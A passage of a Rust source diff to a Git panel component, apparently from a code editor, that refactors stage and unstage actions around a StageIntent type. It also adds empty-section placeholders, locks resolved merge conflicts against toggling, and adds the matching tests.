                         } else if status.staging().has_staged() {
                             Section::Staged
@@ -1566,35 +1625,42 @@ impl GitPanel {
             return;
         }
 
-        if matches!(
-            self.entries.get(new_index.saturating_sub(1)),
-            Some(GitListEntry::Header(..))
-        ) && new_index == 0
-        {
-            return;
-        }
-
-        if matches!(self.entries.get(new_index), Some(GitListEntry::Header(..))) {
-            self.selected_entry = match &self.view_mode {
-                GitPanelViewMode::Flat => Some(new_index.saturating_sub(1)),
-                GitPanelViewMode::Tree(tree_view_state) => {
-                    maybe!({
-                        let current_logical_index = tree_view_state
-                            .logical_indices
-                            .iter()
-                            .position(|&i| i == new_index)?;
-
-                        tree_view_state
-                            .logical_indices
-                            .get(current_logical_index.saturating_sub(1))
-                            .copied()
-                    })
+        let candidate = match &self.view_mode {
+            GitPanelViewMode::Flat => {
+                let mut candidate = new_index;
+                loop {
+                    match self.entries.get(candidate) {
+                        Some(entry) if entry.is_selectable() => break Some(candidate),
+                        Some(_) => {
+                            if candidate == 0 {
+                                break None;
+                            }
+                            candidate -= 1;
+                        }
+                        None => break None,
+                    }
                 }
-            };
-        } else {
-            self.selected_entry = Some(new_index);
-        }
+            }
+            GitPanelViewMode::Tree(state) => {
+                let mut position = state.logical_indices.iter().position(|&i| i == new_index);
+                loop {
+                    let Some(current) = position else { break None };
+                    let Some(&index) = state.logical_indices.get(current) else {
+                        break None;
+                    };
+                    match self.entries.get(index) {
+                        Some(entry) if entry.is_selectable() => break Some(index),
+                        _ => position = current.checked_sub(1),
+                    }
+                }
+            }
+        };
+
+        let Some(candidate) = candidate else {
+            return;
+        };
 
+        self.selected_entry = Some(candidate);
         self.scroll_to_selected_entry(cx);
     }
 
@@ -1642,18 +1708,54 @@ impl GitPanel {
             }
         };
 
-        if matches!(self.entries.get(new_index), Some(GitListEntry::Header(..))) {
-            self.selected_entry = Some(new_index.saturating_add(1));
-        } else {
-            self.selected_entry = Some(new_index);
-        }
+        let candidate = match &self.view_mode {
+            GitPanelViewMode::Flat => {
+                let mut candidate = new_index;
+                loop {
+                    match self.entries.get(candidate) {
+                        Some(entry) if entry.is_selectable() => break Some(candidate),
+                        Some(_) => candidate += 1,
+                        None => break None,
+                    }
+                }
+            }
+            GitPanelViewMode::Tree(state) => {
+                let mut position = state.logical_indices.iter().position(|&i| i == new_index);
+                loop {
+                    let Some(current) = position else { break None };
+                    let Some(&index) = state.logical_indices.get(current) else {
+                        break None;
+                    };
+                    match self.entries.get(index) {
+                        Some(entry) if entry.is_selectable() => break Some(index),
+                        _ => position = Some(current + 1),
+                    }
+                }
+            }
+        };
 
+        let Some(candidate) = candidate else {
+            return;
+        };
+
+        self.selected_entry = Some(candidate);
         self.scroll_to_selected_entry(cx);
     }
 
     fn select_last(&mut self, _: &menu::SelectLast, _window: &mut Window, cx: &mut Context<Self>) {
-        if self.entries.last().is_some() {
-            self.selected_entry = Some(self.entries.len() - 1);
+        let last_entry = match &self.view_mode {
+            GitPanelViewMode::Flat => self.entries.iter().rposition(GitListEntry::is_selectable),
+            GitPanelViewMode::Tree(state) => {
+                state.logical_indices.iter().rev().copied().find(|&index| {
+                    self.entries
+                        .get(index)
+                        .is_some_and(GitListEntry::is_selectable)
+                })
+            }
+        };
+
+        if let Some(last_entry) = last_entry {
+            self.selected_entry = Some(last_entry);
             self.scroll_to_selected_entry(cx);
         }
     }
@@ -2375,6 +2477,7 @@ impl GitPanel {
     fn toggle_staged_for_entry(
         &mut self,
         entry: &GitListEntry,
+        intent: StageIntent,
         _window: &mut Window,
         cx: &mut Context<Self>,
     ) {
@@ -2387,47 +2490,29 @@ impl GitPanel {
         let (stage, repo_paths) = {
             let repo = active_repository.read(cx);
             match entry {
-                GitListEntry::Status(status_entry) => {
+                GitListEntry::Status(status_entry)
+                | GitListEntry::TreeStatus(GitTreeStatusEntry {
+                    entry: status_entry,
+                    ..
+                }) => {
                     let repo_paths = vec![status_entry.clone()];
-                    let stage = match GitPanel::stage_status_for_entry(status_entry, &repo) {
-                        StageStatus::Staged => {
-                            if let Some(op) = self.bulk_staging.clone()
-                                && op.anchor == status_entry.repo_path
-                            {
-                                clear_anchor = Some(op.anchor);
-                            }
-                            false
-                        }
-                        StageStatus::Unstaged | StageStatus::PartiallyStaged => {
-                            set_anchor = Some(status_entry.repo_path.clone());
-                            true
-                        }
-                    };
-                    (stage, repo_paths)
-                }
-                GitListEntry::TreeStatus(status_entry) => {
-                    let repo_paths = vec![status_entry.entry.clone()];
-                    let stage = match GitPanel::stage_status_for_entry(&status_entry.entry, &repo) {
-                        StageStatus::Staged => {
-                            if let Some(op) = self.bulk_staging.clone()
-                                && op.anchor == status_entry.entry.repo_path
-                            {
-                                clear_anchor = Some(op.anchor);
-                            }
-                            false
-                        }
-                        StageStatus::Unstaged | StageStatus::PartiallyStaged => {
-                            set_anchor = Some(status_entry.entry.repo_path.clone());
-                            true
-                        }
-                    };
+                    let stage = intent
+                        .resolve_with(|| GitPanel::stage_status_for_entry(status_entry, &repo));
+
+                    if stage {
+                        set_anchor = Some(status_entry.repo_path.clone());
+                    } else if let Some(op) = self.bulk_staging.clone()
+                        && op.anchor == status_entry.repo_path
+                    {
+                        clear_anchor = Some(op.anchor);
+                    }
                     (stage, repo_paths)
                 }
                 GitListEntry::Header(section) => {
-                    let goal_staged_state = match section.header {
-                        Section::Staged => false,
-                        Section::Unstaged => true,
-                        _ => !self.header_state(section.header).selected(),
+                    let goal_staged_state = match intent {
+                        StageIntent::Stage => true,
+                        StageIntent::Unstage => false,
+                        StageIntent::Toggle => !self.header_state(section.header).selected(),
                     };
                     let entries = self
                         .change_entries_by_path()
@@ -2442,17 +2527,13 @@ impl GitPanel {
                     (goal_staged_state, entries)
                 }
                 GitListEntry::Directory(entry) => {
-                    let goal_staged_state = match entry.key.section {
-                        Section::Staged => StageStatus::Unstaged,
-                        Section::Unstaged => StageStatus::Staged,
-                        _ => match self.stage_status_for_directory(entry, repo) {
-                            StageStatus::Staged => StageStatus::Unstaged,
-                            StageStatus::Unstaged | StageStatus::PartiallyStaged => {
-                                StageStatus::Staged
-                            }
-                        },
+                    let goal_stage =
+                        intent.resolve_with(|| self.stage_status_for_directory(entry, repo));
+                    let goal_staged_state = if goal_stage {
+                        StageStatus::Staged
+                    } else {
+                        StageStatus::Unstaged
                     };
-                    let goal_stage = goal_staged_state == StageStatus::Staged;
 
                     let entries = self
                         .view_mode
@@ -2468,6 +2549,7 @@ impl GitPanel {
                         .collect::<Vec<_>>();
                     (goal_stage, entries)
                 }
+                GitListEntry::EmptySection(_) => return,
             }
         };
         if let Some(anchor) = clear_anchor {
@@ -2622,20 +2704,20 @@ impl GitPanel {
             return;
         };
 
-        if let Some(action) = self.staging_action_for_entry_index(selected_index)
-            && let Some(entry) = selected_entry.status_entry()
-        {
-            self.change_file_stage(action.stage, vec![entry.clone()], cx);
-        } else {
-            self.toggle_staged_for_entry(&selected_entry, window, cx);
+        if self.is_resolved_conflict(selected_index, cx) {
+            return;
         }
+
+        let intent = self.stage_intent_for_entry_index(selected_index);
+        self.toggle_staged_for_entry(&selected_entry, intent, window, cx);
     }
 
     fn stage_range(&mut self, _: &git::StageRange, _window: &mut Window, cx: &mut Context<Self>) {
         let Some(index) = self.selected_entry else {
             return;
         };
-        self.stage_bulk(index, cx);
+        let stage = self.stage_intent_for_entry_index(index) != StageIntent::Unstage;
+        self.stage_bulk(index, stage, cx);
     }
 
     fn stage_selected(&mut self, _: &git::StageFile, _window: &mut Window, cx: &mut Context<Self>) {
@@ -4494,7 +4576,7 @@ impl GitPanel {
                 single_staged_entry = Some(entry.clone());
             }
 
-            if group_by_staging_state && entry.status.is_conflicted() {
+            if group_by_staging_state && is_conflict {
                 conflict_entries.push(entry);
             } else if group_by_staging_state {
                 if staging.has_staged() {
@@ -4606,6 +4688,17 @@ impl GitPanel {
             ]
         };
 
+        // Keep Staged/Unstaged headers pinned even when empty (as long as there's
+        // anything to show at all) so the layout stays stable while staging.
+        let has_any_section_entries = section_entries
+            .iter()
+            .any(|(_, entries)| !entries.is_empty());
+        let show_when_empty = |section: Section| {
+            group_by_staging_state
+                && has_any_section_entries
+                && matches!(section, Section::Staged | Section::Unstaged)
+        };
+
         match &mut self.view_mode {
             GitPanelViewMode::Tree(tree_state) => {
                 tree_state.logical_indices.clear();
@@ -4616,7 +4709,7 @@ impl GitPanel {
                 let mut tree_state = std::mem::take(tree_state);
 
                 for (section, entries) in section_entries {
-                    if entries.is_empty() {
+                    if entries.is_empty() && !show_when_empty(section) {
                         continue;
                     }
 
@@ -4630,6 +4723,16 @@ impl GitPanel {
                         );
                     }
 
+                    if entries.is_empty() {
+                        push_entry(
+                            self,
+                            GitListEntry::EmptySection(section),
+                            section,
+                            true,
+                            Some(&mut tree_state.logical_indices),
+                        );
+                    }
+
                     for (entry, is_visible) in
                         tree_state.build_tree_entries(section, entries, &mut seen_directories)
                     {
@@ -4651,7 +4754,7 @@ impl GitPanel {
             }
             GitPanelViewMode::Flat => {
                 for (section, entries) in section_entries {
-                    if entries.is_empty() {
+                    if entries.is_empty() && !show_when_empty(section) {
                         continue;
                     }
 
@@ -4665,6 +4768,16 @@ impl GitPanel {
                         );
                     }
 
+                    if entries.is_empty() {
+                        push_entry(
+                            self,
+                            GitListEntry::EmptySection(section),
+                            section,
+                            true,
+                            None,
+                        );
+                    }
+
                     for entry in entries {
                         push_entry(self, GitListEntry::Status(entry), section, true, None);
                     }
@@ -4736,25 +4849,35 @@ impl GitPanel {
         })
     }
 
-    fn staging_action_for_section(section: Section) -> Option<StagingAction> {
-        match section {
-            Section::Staged => Some(StagingAction {
-                stage: false,
-                icon: IconName::Dash,
-                label: "Unstage",
-            }),
-            Section::Unstaged => Some(StagingAction {
-                stage: true,
-                icon: IconName::Plus,
-                label: "Stage",
-            }),
-            _ => None,
-        }
+    fn stage_intent_for_entry_index(&self, ix: usize) -> StageIntent {
+        self.section_for_entry_index(ix)
+            .map_or(StageIntent::Toggle, StageIntent::for_section)
     }
 
-    fn staging_action_for_entry_index(&self, ix: usize) -> Option<StagingAction> {
-        self.section_for_entry_index(ix)
-            .and_then(Self::staging_action_for_section)
+    // A conflict that has been marked resolved (fully staged) is locked
+    // against toggling: unstaging would rebuild the index entry from HEAD,
+    // silently discarding the unmerged (base/ours/theirs) stages — a
+    // round-trip git can't actually perform. The explicit git::UnstageFile
+    // action remains as an escape hatch.
+    fn is_resolved_conflict(&self, ix: usize, cx: &App) -> bool {
+        if self.section_for_entry_index(ix) != Some(Section::Conflict) {
+            return false;
+        }
+        let Some(entry) = self.entries.get(ix) else {
+            return false;
+        };
+        let Some(repo) = self.active_repository.as_ref() else {
+            return false;
+        };
+        let repo = repo.read(cx);
+        match entry {
+            GitListEntry::Directory(directory) => {
+                self.stage_status_for_directory(directory, repo) == StageStatus::Staged
+            }
+            entry => entry.status_entry().is_some_and(|status_entry| {
+                GitPanel::stage_status_for_entry(status_entry, repo) == StageStatus::Staged
+            }),
+        }
     }
 
     fn diff_target_for_section(section: Option<Section>) -> DiffTarget {
@@ -4765,20 +4888,6 @@ impl GitPanel {
         }
     }
 
-    fn staging_action_button(
-        id: ElementId,
-        icon: IconName,
-        action: &'static str,
-        disabled: bool,
-    ) -> IconButton {
-        IconButton::new(id, icon)
-            .disabled(disabled)
-            .icon_size(IconSize::Small)
-            .shape(IconButtonShape::Square)
-            .style(ButtonStyle::Subtle)
-            .aria_label(action)
-    }
-
     fn update_counts(&mut self, repo: &Repository) {
         self.show_placeholders = false;
         self.conflicted_count = 0;
@@ -5078,7 +5187,7 @@ impl GitPanel {
             GitListEntry::Directory(dir) => {
                 Some(Self::item_width_estimate(0, dir.name.len(), dir.depth))
             }
-            GitListEntry::Header(_) => None,
+            GitListEntry::Header(_) | GitListEntry::EmptySection(_) => None,
         }
     }
 
@@ -6654,7 +6763,7 @@ impl GitPanel {
                 move |_, window, cx| {
                     git_panel
                         .update(cx, |this, cx| {
-                            this.toggle_staged_for_entry(&entry, window, cx);
+                            this.toggle_staged_for_entry(&entry, StageIntent::Toggle, window, cx);
                             cx.stop_propagation();
                         })
                         .ok();
@@ -6754,6 +6863,9 @@ impl GitPanel {
                                                 cx,
                                             ));
                                         }
+                                        Some(GitListEntry::EmptySection(section)) => {
+                                            items.push(this.render_empty_section(*section));
+                                        }
                                         None => {}
                                     }
                                 }
@@ -6817,25 +6929,33 @@ impl GitPanel {
         let id: ElementId = ElementId::Name(format!("header_{}", ix).into());
         let checkbox_id: ElementId = ElementId::Name(format!("header_{}_checkbox", ix).into());
         let group_name: SharedString = format!("header_{}", ix).into();
-        let toggle_state = self.header_state(header.header);
         let section = header.header;
         let weak = cx.weak_entity();
-        let staging_action = Self::staging_action_for_section(section);
-        let staging_conflict = GitPanelSettings::get_global(cx).group_by
-            == GitPanelGroupBy::Staging
-            && section == Section::Conflict;
+        let stage_intent = StageIntent::for_section(section);
+        let toggle_state = stage_intent.checkbox_state(|| self.header_state(header.header));
+
+        let all_conflicts_resolved = section == Section::Conflict
+            && self.conflicted_count > 0
+            && self.conflicted_staged_count == self.conflicted_count;
+
+        let section_is_empty = !self
+            .entries
+            .get(ix + 1)
+            .is_some_and(GitListEntry::is_selectable);
 
         h_flex()
             .id(id)
-            .when(!staging_conflict, |this| this.cursor_pointer())
             .group(group_name)
             .h(self.list_item_height())
             .w_full()
-            .pl_3()
+            .pl_2p5()
             .pr_1()
             .gap_2()
             .justify_between()
-            .hover(|s| s.bg(cx.theme().colors().ghost_element_hover))
+            .when(!section_is_empty && !all_conflicts_resolved, |this| {
+                this.cursor_pointer()
+                    .hover(|s| s.bg(cx.theme().colors().ghost_element_hover))
+            })
             .border_1()
             .border_r_2()
             .child(
@@ -6843,32 +6963,39 @@ impl GitPanel {
                     .color(Color::Muted)
                     .size(LabelSize::Small),
             )
-            .child(if staging_conflict {
-                div().into_any_element()
-            } else if let Some(action) = staging_action {
-                Self::staging_action_button(
-                    checkbox_id,
-                    action.icon,
-                    action.label,
-                    !has_write_access,
-                )
-                .tooltip(move |_window, cx| Tooltip::simple(format!("{} all", action.label), cx))
-                .into_any_element()
+            .child(if section_is_empty {
+                gpui::Empty.into_any_element()
             } else {
-                Checkbox::new(checkbox_id, toggle_state)
-                    .disabled(!has_write_access)
+                let checkbox = Checkbox::new(checkbox_id, toggle_state)
+                    .disabled(!has_write_access || all_conflicts_resolved)
                     .fill()
-                    .elevation(ElevationIndex::Surface)
-                    .into_any_element()
+                    .elevation(ElevationIndex::Surface);
+                let tooltip_label = if all_conflicts_resolved {
+                    Some("All conflicts marked as resolved")
+                } else {
+                    match stage_intent {
+                        StageIntent::Stage => Some("Stage All"),
+                        StageIntent::Unstage => Some("Unstage All"),
+                        StageIntent::Toggle => None,
+                    }
+                };
+                if let Some(label) = tooltip_label {
+                    checkbox
+                        .tooltip(move |_window, cx| Tooltip::simple(label, cx))
+                        .into_any_element()
+                } else {
+                    checkbox.into_any_element()
+                }
             })
             .on_click(move |_, window, cx| {
-                if !has_write_access || staging_conflict {
+                if !has_write_access || section_is_empty || all_conflicts_resolved {
                     return;
                 }
 
                 weak.update(cx, |this, cx| {
                     this.toggle_staged_for_entry(
                         &GitListEntry::Header(GitHeaderEntry { header: section }),
+                        stage_intent,
                         window,
                         cx,
                     );
@@ -6879,6 +7006,26 @@ impl GitPanel {
             .into_any_element()
     }
 
+    fn render_empty_section(&self, section: Section) -> AnyElement {
+        let message = match section {
+            Section::Staged => "No staged changes yet",
+            Section::Unstaged => "No unstaged changes",
+            _ => "No changes",
+        };
+        h_flex()
+            .h(self.list_item_height())
+            .w_full()
+            .pl_2p5()
+            .pr_1()
+            .opacity(0.8)
+            .child(
+                Label::new(message)
+                    .color(Color::Placeholder)
+                    .size(LabelSize::Small),
+            )
+            .into_any_element()
+    }
+
     pub fn load_commit_details(
         &self,
         sha: String,
@@ -6900,15 +7047,20 @@ impl GitPanel {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) {
-        let staging_action = self.staging_action_for_entry_index(ix);
+        let stage_intent = self.stage_intent_for_entry_index(ix);
         let Some(entry) = self.entries.get(ix).and_then(|e| e.status_entry()) else {
             return;
         };
-        let stage_title = match staging_action {
-            Some(StagingAction { stage: true, .. }) => "Stage File",
-            Some(StagingAction { stage: false, .. }) => "Unstage File",
-            None if entry.status.staging().is_fully_staged() => "Unstage File",
-            None => "Stage File",
+        // Resolve against the pending-op-aware status (like the checkboxes do)
+        // so the menu label can't lag behind a just-clicked checkbox.
+        let repo = self.active_repository.as_ref().map(|repo| repo.read(cx));
+        let stage_title = if stage_intent.resolve_with(|| match repo {
+            Some(repo) => GitPanel::stage_status_for_entry(entry, repo),
+            None => entry.status.staging(),
+        }) {
+            "Stage File"
+        } else {
+            "Unstage File"
         };
         let restore_title = if entry.status.is_created() {
             "Trash File"
@@ -7059,19 +7211,19 @@ impl GitPanel {
             ElementId::Name(format!("entry_{}_{}_checkbox", display_name, ix).into());
 
         let stage_status = GitPanel::stage_status_for_entry(entry, &repo);
-        let section = self.section_for_entry_index(ix);
-        let staging_conflict = settings.group_by == GitPanelGroupBy::Staging
-            && section == Some(Section::Conflict)
-            && status.is_conflicted();
-        let staging_action = self.staging_action_for_entry_index(ix);
-        let mut is_staged: ToggleState = match stage_status {
-            StageStatus::Staged => ToggleState::Selected,
-            StageStatus::Unstaged => ToggleState::Unselected,
-            StageStatus::PartiallyStaged => ToggleState::Indeterminate,
-        };
-        if self.show_placeholders && !self.has_staged_changes() && !entry.status.is_created() {
-            is_staged = ToggleState::Selected;
-        }
+        let stage_intent = self.stage_intent_for_entry_index(ix);
+        let resolved_conflict = self.is_resolved_conflict(ix, cx);
+        let toggle_state = stage_intent.checkbox_state(|| {
+            if self.show_placeholders && !self.has_staged_changes() && !entry.status.is_created() {
+                ToggleState::Selected
+            } else {
+                match stage_status {
+                    StageStatus::Staged => ToggleState::Selected,
+                    StageStatus::Unstaged => ToggleState::Unselected,
+                    StageStatus::PartiallyStaged => ToggleState::Indeterminate,
+                }
+            }
+        });
 
         let handle = cx.weak_entity();
 
@@ -7148,7 +7300,7 @@ impl GitPanel {
             .id(id)
             .h(self.list_item_height())
             .w_full()
-            .pl_3()
+            .pl_2p5()
             .pr_1()
             .gap_1p5()
             .border_1()
@@ -7176,67 +7328,25 @@ impl GitPanel {
                     .flex_none()
                     .occlude()
                     .cursor_pointer()
-                    .child(if staging_conflict {
-                        Self::staging_action_button(
-                            checkbox_id,
-                            IconName::Check,
-                            "Mark as Resolved",
-                            !has_write_access,
-                        )
-                        .on_click({
-                            let entry = entry.clone();
-                            let this = cx.weak_entity();
-                            move |_, _window, cx| {
-                                this.update(cx, |this, cx| {
-                                    if !has_write_access {
-                                        return;
-                                    }
-                                    this.change_file_stage(true, vec![entry.clone()], cx);
-                                    cx.stop_propagation();
-                                })
-                                .ok();
-                            }
-                        })
-                        .tooltip(move |_window, cx| Tooltip::simple("Mark as Resolved", cx))
-                        .into_any_element()
-                    } else if let Some(action) = staging_action {
-                        Self::staging_action_button(
-                            checkbox_id,
-                            action.icon,
-                            action.label,
-                            !has_write_access,
-                        )
-                        .on_click({
-                            let entry = entry.clone();
-                            let this = cx.weak_entity();
-                            move |_, _window, cx| {
-                                this.update(cx, |this, cx| {
-                                    if !has_write_access {
-                                        return;
-                                    }
-                                    this.change_file_stage(action.stage, vec![entry.clone()], cx);
-                                    cx.stop_propagation();
-                                })
-                                .ok();
-                            }
-                        })
-                        .tooltip(move |_window, cx| Tooltip::simple(action.label, cx))
-                        .into_any_element()
-                    } else {
-                        Checkbox::new(checkbox_id, is_staged)
-                            .disabled(!has_write_access)
+                    .child(
+                        Checkbox::new(checkbox_id, toggle_state)
                             .fill()
                             .elevation(ElevationIndex::Surface)
+                            .disabled(!has_write_access || resolved_conflict)
                             .on_click_ext({
                                 let entry = entry.clone();
                                 let this = cx.weak_entity();
                                 move |_, click, window, cx| {
                                     this.update(cx, |this, cx| {
-                                        if !has_write_access {
+                                        if !has_write_access || resolved_conflict {
                                             return;
                                         }
                                         if click.modifiers().shift {
-                                            this.stage_bulk(ix, cx);
+                                            this.stage_bulk(
+                                                ix,
+                                                stage_intent != StageIntent::Unstage,
+                                                cx,
+                                            );
                                         } else {
                                             let list_entry =
                                                 if GitPanelSettings::get_global(cx).tree_view {
@@ -7247,7 +7357,12 @@ impl GitPanel {
                                                 } else {
                                                     GitListEntry::Status(entry.clone())
                                                 };
-                                            this.toggle_staged_for_entry(&list_entry, window, cx);
+                                            this.toggle_staged_for_entry(
+                                                &list_entry,
+                                                stage_intent,
+                                                window,
+                                                cx,
+                                            );
                                         }
                                         cx.stop_propagation();
                                     })
@@ -7255,16 +7370,14 @@ impl GitPanel {
                                 }
                             })
                             .tooltip(move |_window, cx| {
-                                let action = match stage_status {
-                                    StageStatus::Staged => "Unstage",
-                                    StageStatus::Unstaged | StageStatus::PartiallyStaged => "Stage",
-                                };
-                                let tooltip_name = action.to_string();
-
-                                Tooltip::for_action(tooltip_name, &ToggleStaged, cx)
-                            })
-                            .into_any_element()
-                    }),
+                                if resolved_conflict {
+                                    Tooltip::simple("Conflict marked as resolved", cx)
+                                } else {
+                                    let action = stage_intent.label(|| stage_status);
+                                    Tooltip::for_action(action, &ToggleStaged, cx)
+                                }
+                            }),
+                    ),
             )
             .on_click({
                 cx.listener(move |this, event: &ClickEvent, window, cx| {
@@ -7360,18 +7473,13 @@ impl GitPanel {
             StageStatus::PartiallyStaged
         };
 
-        let toggle_state: ToggleState = match stage_status {
+        let stage_intent = StageIntent::for_section(entry.key.section);
+        let resolved_conflict = self.is_resolved_conflict(ix, cx);
+        let toggle_state = stage_intent.checkbox_state(|| match stage_status {
             StageStatus::Staged => ToggleState::Selected,
             StageStatus::Unstaged => ToggleState::Unselected,
             StageStatus::PartiallyStaged => ToggleState::Indeterminate,
-        };
-        let staging_action = if settings.group_by == GitPanelGroupBy::Staging {
-            Self::staging_action_for_section(entry.key.section)
-        } else {
-            None
-        };
-        let staging_conflict =
-            settings.group_by == GitPanelGroupBy::Staging && entry.key.section == Section::Conflict;
+        });
 
         let name_row = h_flex()
             .min_w_0()
@@ -7397,7 +7505,7 @@ impl GitPanel {
             .h(self.list_item_height())
             .min_w_0()
             .w_full()
-            .pl_3()
+            .pl_2p5()
             .pr_1()
             .gap_1p5()
             .justify_between()
@@ -7416,37 +7524,9 @@ impl GitPanel {
                     .flex_none()
                     .occlude()
                     .cursor_pointer()
-                    .child(if staging_conflict {
-                        div().into_any_element()
-                    } else if let Some(action) = staging_action {
-                        Self::staging_action_button(
-                            checkbox_id,
-                            action.icon,
-                            action.label,
-                            !has_write_access,
-                        )
-                        .on_click({
-                            let entry = entry.clone();
-                            let this = cx.weak_entity();
-                            move |_, window, cx| {
-                                this.update(cx, |this, cx| {
-                                    if !has_write_access {
-                                        return;
-                                    }
-                                    let list_entry = GitListEntry::Directory(entry.clone());
-                                    this.toggle_staged_for_entry(&list_entry, window, cx);
-                                    cx.stop_propagation();
-                                })
-                                .ok();
-                            }
-                        })
-                        .tooltip(move |_window, cx| {
-                            Tooltip::simple(format!("{} folder", action.label), cx)
-                        })
-                        .into_any_element()
-                    } else {
+                    .child(
                         Checkbox::new(checkbox_id, toggle_state)
-                            .disabled(!has_write_access)
+                            .disabled(!has_write_access || resolved_conflict)
                             .fill()
                             .elevation(ElevationIndex::Surface)
                             .on_click({
@@ -7454,11 +7534,12 @@ impl GitPanel {
                                 let this = cx.weak_entity();
                                 move |_, window, cx| {
                                     this.update(cx, |this, cx| {
-                                        if !has_write_access {
+                                        if !has_write_access || resolved_conflict {
                                             return;
                                         }
                                         this.toggle_staged_for_entry(
                                             &GitListEntry::Directory(entry.clone()),
+                                            stage_intent,
                                             window,
                                             cx,
                                         );
@@ -7468,14 +7549,14 @@ impl GitPanel {
                                 }
                             })
                             .tooltip(move |_window, cx| {
-                                let action = match stage_status {
-                                    StageStatus::Staged => "Unstage",
-                                    StageStatus::Unstaged | StageStatus::PartiallyStaged => "Stage",
-                                };
-                                Tooltip::simple(format!("{action} folder"), cx)
-                            })
-                            .into_any_element()
-                    }),
+                                if resolved_conflict {
+                                    Tooltip::simple("Conflicts marked as resolved", cx)
+                                } else {
+                                    let action = stage_intent.label(|| stage_status);
+                                    Tooltip::simple(format!("{action} Folder"), cx)
+                                }
+                            }),
+                    ),
             )
             .on_click({
                 let key = entry.key.clone();
@@ -7621,14 +7702,17 @@ impl GitPanel {
         })
     }
 
-    fn stage_bulk(&mut self, mut index: usize, cx: &mut Context<'_, Self>) {
+    fn stage_bulk(&mut self, mut index: usize, stage: bool, cx: &mut Context<'_, Self>) {
         let Some(op) = self.bulk_staging.as_ref() else {
             return;
         };
         let Some(mut anchor_index) = self.entry_by_path(&op.anchor) else {
             return;
         };
-        if let Some(entry) = self.entries.get(index)
+        // Only a staged anchor survives the next entries refresh, so there's no
+        // point re-anchoring on the entry we're about to unstage.
+        if stage
+            && let Some(entry) = self.entries.get(index)
             && let Some(entry) = entry.status_entry()
         {
             self.set_bulk_staging_anchor(entry.repo_path.clone(), cx);
@@ -7636,14 +7720,21 @@ impl GitPanel {
         if index < anchor_index {
             std::mem::swap(&mut index, &mut anchor_index);
         }
+        let Some(repo) = self.active_repository.clone() else {
+            return;
+        };
+        let repo = repo.read(cx);
+        // Conflicts only change staging via their own explicit controls; a
+        // range sweep must neither mark them resolved nor un-resolve them.
         let entries = self
             .entries
             .get(anchor_index..=index)
             .unwrap_or_default()
             .iter()
             .filter_map(|entry| entry.status_entry().cloned())
+            .filter(|entry| !repo.had_conflict_on_last_merge_head_change(&entry.repo_path))
             .collect::<Vec<_>>();
-        self.change_file_stage(true, entries, cx);
+        self.change_file_stage(stage, entries, cx);
     }
 
     fn set_bulk_staging_anchor(&mut self, path: RepoPath, cx: &mut Context<'_, GitPanel>) {
@@ -9464,16 +9555,12 @@ mod tests {
                 ]
             );
             assert_eq!(
-                panel
-                    .staging_action_for_entry_index(projections[0].index)
-                    .map(|action| action.stage),
-                Some(false)
+                panel.stage_intent_for_entry_index(projections[0].index),
+                StageIntent::Unstage
             );
             assert_eq!(
-                panel
-                    .staging_action_for_entry_index(projections[1].index)
-                    .map(|action| action.stage),
-                Some(true)
+                panel.stage_intent_for_entry_index(projections[1].index),
+                StageIntent::Stage
             );
             panel.entries.clone()
         });
@@ -9665,6 +9752,14 @@ mod tests {
                         status: FileStatus::Unmerged(..),
                         ..
                     }),
+                    Header(GitHeaderEntry {
+                        header: Section::Staged
+                    }),
+                    EmptySection(Section::Staged),
+                    Header(GitHeaderEntry {
+                        header: Section::Unstaged
+                    }),
+                    EmptySection(Section::Unstaged),
                 ],
             );
             panel
@@ -9691,6 +9786,14 @@ mod tests {
                         status: FileStatus::Unmerged(..),
                         ..
                     }),
+                    Header(GitHeaderEntry {
+                        header: Section::Staged
+                    }),
+                    EmptySection(Section::Staged),
+                    Header(GitHeaderEntry {
+                        header: Section::Unstaged
+                    }),
+                    EmptySection(Section::Unstaged),
                 ]
             ));
         });
@@ -9713,12 +9816,246 @@ mod tests {
                         staging: StageStatus::Staged,
                         ..
                     }),
+                    Header(GitHeaderEntry {
+                        header: Section::Unstaged
+                    }),
+                    EmptySection(Section::Unstaged),
                 ],
             );
             assert_eq!(panel.entry_count, 1);
         });
     }
 
+    #[gpui::test]
+    async fn test_resolved_conflict_is_locked_against_unstaging(cx: &mut TestAppContext) {
+        use GitListEntry::*;
+
+        init_test(cx);
+        let fs = FakeFs::new(cx.background_executor.clone());
+        fs.insert_tree(
+            path!("/project"),
+            json!({
+                ".git": {},
+                "conflict.rs": "<<<<<<< HEAD\nours\n=======\ntheirs\n>>>>>>> branch\n",
+                "staged.rs": "staged content",
+                "unstaged.rs": "unstaged content",
+            }),
+        )
+        .await;
+
+        let unresolved_status = FileStatus::Unmerged(UnmergedStatus {
+            first_head: UnmergedStatusCode::Updated,
+            second_head: UnmergedStatusCode::Updated,
+        });
+        fs.set_status_for_repo(
+            path!("/project/.git").as_ref(),
+            &[
+                ("conflict.rs", unresolved_status),
+                ("staged.rs", FileStatus::index(StatusCode::Modified)),
+                ("unstaged.rs", StatusCode::Modified.worktree()),
+            ],
+        );
+        // With MERGE_HEAD present (an in-progress merge), a resolved conflict
+        // keeps rendering under the Conflict section instead of moving to Staged.
+        fs.with_git_state(path!("/project/.git").as_ref(), true, |state| {
+            state.refs.insert("MERGE_HEAD".into(), "merge-sha".into());
+        })
+        .unwrap();
+
+        let project = Project::test(fs.clone(), [Path::new(path!("/project"))], cx).await;
+        let window_handle =
+            cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+        let workspace = window_handle
+            .read_with(cx, |multi_workspace, _| multi_workspace.workspace().clone())
+            .unwrap();
+        let mut cx = VisualTestContext::from_window(window_handle.into(), cx);
+
+        cx.update(|_window, cx| {
+            SettingsStore::update_global(cx, |store, cx| {
+                store.update_user_settings(cx, |settings| {
+                    settings.git_panel.get_or_insert_default().group_by =
+                        Some(GitPanelGroupBy::Staging);
+                })
+            });
+        });
+
+        cx.read(|cx| {
+            project
+                .read(cx)
+                .worktrees(cx)
+                .next()
+                .unwrap()
+                .read(cx)
+                .as_local()
+                .unwrap()
+                .scan_complete()
+        })
+        .await;
+        cx.executor().run_until_parked();
+
+        let panel = workspace.update_in(&mut cx, GitPanel::new);
+        await_git_panel_entries(&panel, &mut cx).await;
+
+        fn stage_status_of(
+            panel: &Entity<GitPanel>,
+            cx: &VisualTestContext,
+            path: &str,
+        ) -> StageStatus {
+            panel.read_with(cx, |panel, cx| {
+                let repo = panel
+                    .active_repository
+                    .as_ref()
+                    .expect("active repository should exist")
+                    .read(cx);
+                let entry = panel
+                    .change_entries_by_path()
